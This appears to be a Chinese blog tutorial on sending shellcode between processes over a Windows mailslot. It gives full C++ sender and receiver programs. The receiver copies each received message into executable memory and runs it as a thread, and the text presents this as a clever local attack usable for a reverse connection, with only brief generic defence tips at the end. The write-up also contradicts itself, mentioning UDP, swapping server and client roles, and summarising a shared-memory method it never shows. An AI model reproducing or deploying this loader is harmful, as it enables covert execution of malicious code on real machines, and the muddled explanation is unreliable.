C++ 郵件槽ShellCode跨程序傳輸

2023-12-07 21:01:07

在電腦保安領域,程序間通訊(IPC)一直是一個備受關注的話題。在本文中,我們將探討如何使用Windows郵件槽(Mailslot)實現ShellCode的跨程序傳輸。郵件槽提供了一種簡單而有效的單向通訊機制,使得任何程序都能夠成為郵件槽伺服器,並通過UDP通訊向其他程序傳送資料。

郵件槽是Windows作業系統提供的一種用於本地程序間通訊的機制。它允許一個程序建立一個命名的槽,並允許其他程序通過該槽向建立它的程序傳送訊息。在本文中,我們將使用郵件槽實現程序間的ShellCode傳輸。如果需要雙向通訊或更復雜的通訊需求,需要考慮其他IPC機制,例如命名管道、通訊端等。

伺服器端部分

伺服器端端部分的實現非常簡單,通過使用MAIL_SLOT_NAME 可以定義郵件槽的名稱,該名稱用於標識伺服器端和使用者端之間的郵件槽。這是一個字串常數,按照 Windows 命名約定的格式指定了郵件槽的路徑。

讓我來解釋這個定義的具體含義:

  • \\\\.:表示本地計算機,即當前計算機的名稱空間。
  • mailslot:指定郵件槽的型別。
  • Name:是你給郵件槽指定的名稱,可以根據實際需要更改。

所以,整個路徑 \\\\.\\mailslot\\Name 指代的是一個本地計算機上的郵件槽,其名稱為 Name。這個路徑會在建立和開啟郵件槽時使用,確保兩個程序使用相同的路徑來通訊。

在伺服器端建立郵件槽時,通過 CreateFile 函數中的 MAIL_SLOT_NAME 引數指定郵件槽的名稱,確保伺服器端和使用者端使用相同的名稱來建立通訊連線。

CreateFile

用於建立或開啟檔案、資料夾、郵件槽、管道等物件的控制程式碼。在你提供的程式碼中,CreateFile 主要用於開啟郵件槽,以便在伺服器端寫入資料。

以下是 CreateFile 函數的一般形式:

HANDLE CreateFile(
  LPCTSTR               lpFileName,
  DWORD                 dwDesiredAccess,
  DWORD                 dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD                 dwCreationDisposition,
  DWORD                 dwFlagsAndAttributes,
  HANDLE                hTemplateFile
);

引數說明:

  • lpFileName:指定檔案或物件的名稱,可以是一個路徑、檔名或其他識別符號。
  • dwDesiredAccess:指定對檔案的存取許可權,例如 GENERIC_READGENERIC_WRITE 等。
  • dwShareMode:指定共用模式,例如 FILE_SHARE_READFILE_SHARE_WRITE 等。
  • lpSecurityAttributes:指定安全屬性,通常設定為 NULL
  • dwCreationDisposition:指定檔案的建立或開啟方式,例如 OPEN_EXISTINGCREATE_NEW 等。
  • dwFlagsAndAttributes:指定檔案或物件的屬性,例如 FILE_ATTRIBUTE_NORMAL
  • hTemplateFile:指定一個檔案控制程式碼,用於複製檔案屬性。

如上所示,我們只需要遵循郵件槽的建立流程並使用CreateFile建立通訊,當需要傳輸郵件的時候可以直接呼叫WriteFile傳送郵件,這是一個很好的功能,你可以傳送郵件也可以傳送各種你喜歡的亂七八糟的東西。

#include <windows.h>
#include <iostream>

using namespace std;

#define MAIL_SLOT_NAME "\\\\.\\mailslot\\Name" 

char ShellCode[] = "此處是ShellCode";

int main(int argc, char* argv[])
{
    HANDLE hWriteMailSlot = NULL;
    while (TRUE)
    {
        hWriteMailSlot = CreateFile(MAIL_SLOT_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
        if (hWriteMailSlot == INVALID_HANDLE_VALUE)
            continue;
        else
            break;
    }
    DWORD dwReturn = 0;

    // 傳送郵件槽
    WriteFile(hWriteMailSlot, ShellCode, strlen(ShellCode), &dwReturn, NULL);
    CloseHandle(hWriteMailSlot);
    return 0;
}

使用者端部分

為了實現通訊,使用者端部分也需要使用郵件槽,在MAIL_SLOT_NAME中指定相同的郵件名,通過CreateMailslot 函數,建立郵件槽(Mailslot),這是一種用於本地程序間通訊的機制。郵件槽是一種命名的管道,用於在同一臺計算機上的不同程序之間傳遞資料。

以下是 CreateMailslot 函數的一般形式:

HANDLE CreateMailslot(
  LPCTSTR               lpName,
  DWORD                 nMaxMessageSize,
  DWORD                 lReadTimeout,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes
);

引數說明:

  • lpName:指定郵件槽的名稱,形如 \\.\mailslot\your_mailslot_name
  • nMaxMessageSize:指定郵件槽中訊息的最大大小。
  • lReadTimeout:指定在讀取資料時的超時時間(以毫秒為單位)。
  • lpSecurityAttributes:指定郵件槽的安全屬性,可以為 NULL

在程式碼中,CreateMailslot 用於建立郵件槽:

hReadMailSlot = CreateMailslot(MAIL_SLOT_NAME, 0, 0, NULL);

這行程式碼的作用是建立一個郵件槽,使用了預定義的郵件槽名稱 MAIL_SLOT_NAME 作為引數,nMaxMessageSizelReadTimeout 都設定為零,表示使用預設值。如果建立成功,hReadMailSlot 將獲得一個有效的郵件槽控制程式碼,可以用於後續的資料讀取操作。

建立好連結之後接下來就可以通過GetMailslotInfo函數獲取郵件了,當然了這個要死迴圈等待郵件,GetMailslotInfo 用於檢查郵件槽的狀態資訊。它提供了有關郵件槽當前狀態的資訊,例如有多少訊息在郵件槽中、每個訊息的大小等。

以下是 GetMailslotInfo 函數的一般形式:

BOOL GetMailslotInfo(
  HANDLE       hMailslot,
  LPDWORD      lpMaxMessageSize,
  LPDWORD      lpNextSize,
  LPDWORD      lpMessageCount,
  LPDWORD      lpReadTimeout
);

引數說明:

  • hMailslot:郵件槽的控制程式碼,通過 CreateMailslot 函數或 CreateFile 函數獲得。
  • lpMaxMessageSize:指向一個變數,用於接收郵件槽中單個訊息的最大大小。
  • lpNextSize:指向一個變數,用於接收下一個訊息的大小。
  • lpMessageCount:指向一個變數,用於接收郵件槽中當前的訊息數目。
  • lpReadTimeout:指向一個變數,用於接收在讀取資料時的超時時間(以毫秒為單位)。

在你的程式碼中,GetMailslotInfo 用於獲取郵件槽的資訊:

bOk = GetMailslotInfo(hReadMailSlot, NULL, &cbMessage, &cMessage, NULL);

這行程式碼的作用是獲取郵件槽 hReadMailSlot 的資訊,其中 cbMessage 接收訊息的大小,cMessage 接收訊息的數量。這樣的資訊可以在接收方確定是否有待處理的訊息,以及處理這些訊息所需的空間。

一般來說當收到了新郵件之後可以直接使用ReadFile函數讀出這段郵件,讀出來的郵件就可以直接反彈了,如下程式碼所示;

#include <windows.h>
#include <iostream>

using namespace std;

#define MAIL_SLOT_NAME "\\\\.\\mailslot\\Name" 
HANDLE hReadMailSlot = INVALID_HANDLE_VALUE;

DWORD WINAPI ReadMail()
{
    hReadMailSlot = CreateMailslot(MAIL_SLOT_NAME, 0, 0, NULL);
    if (hReadMailSlot == INVALID_HANDLE_VALUE)
    {
        return -1;
    }

    // 檢視油槽的資訊
    DWORD cbMessage = 0, dwReturn = 0, cMessage = 0;
    BOOL bOk = FALSE;

    char ShellCode[4096] = { 0 };

    while (TRUE)
    {
        bOk = GetMailslotInfo(hReadMailSlot, NULL, &cbMessage, &cMessage, NULL);
        if (bOk == FALSE)
            break;
        if (cMessage == 0)
            continue;
        else
        {
            if (ReadFile(hReadMailSlot, ShellCode, cbMessage, &dwReturn, 0) == TRUE)
            {
                HANDLE hThread = NULL;
                cout << ShellCode << endl;
                
                // 注入ShellCode並執行
                void* ptr = VirtualAlloc(0, sizeof(ShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                CopyMemory(ptr, ShellCode, sizeof(ShellCode));

                hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ptr, 0, 0, 0);
                WaitForSingleObject(hThread, INFINITE);
            }
        }
    }
}

int main(int argc, char* argv[])
{
    HANDLE hReadThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReadMail, NULL, 0, NULL);
    Sleep(INFINITE);
    if (hReadMailSlot != INVALID_HANDLE_VALUE)
    {
        CloseHandle(hReadMailSlot);
    }
    return 0;
}

潛在風險和安全建議

雖然這種方法在本地攻擊場景中有一定的巧妙性,但也存在潛在的風險。以下是一些建議:

  1. 防禦共用記憶體濫用: 作業系統提供了一些機制,如使用 ACL(存取控制列表)和安全描述符,可以限制對共用記憶體的存取。合理設定這些機制可以減輕潛在的濫用風險。
  2. 加強系統安全策略: 使用強密碼、及時更新系統和應用程式、啟用防火牆等都是基礎的系統安全策略。這些都有助於防止潛在的Shellcode攻擊。
  3. 監控和響應: 部署實時監控和響應系統,能夠及時檢測到異常行為並採取相應措施,對於減緩潛在威脅的影響十分重要。

總結

本文介紹了通過共用記憶體傳遞Shellcode的方法,通過這種巧妙的本地攻擊方式,兩個程序可以在不直接通訊的情況下相互傳遞Shellcode。然而,使用這種技術需要非常謹慎,以免被濫用用於不當用途。在實際應用中,必須謹慎權衡安全性和便利性,同時配合其他防禦措施,確保系統的整體安全性。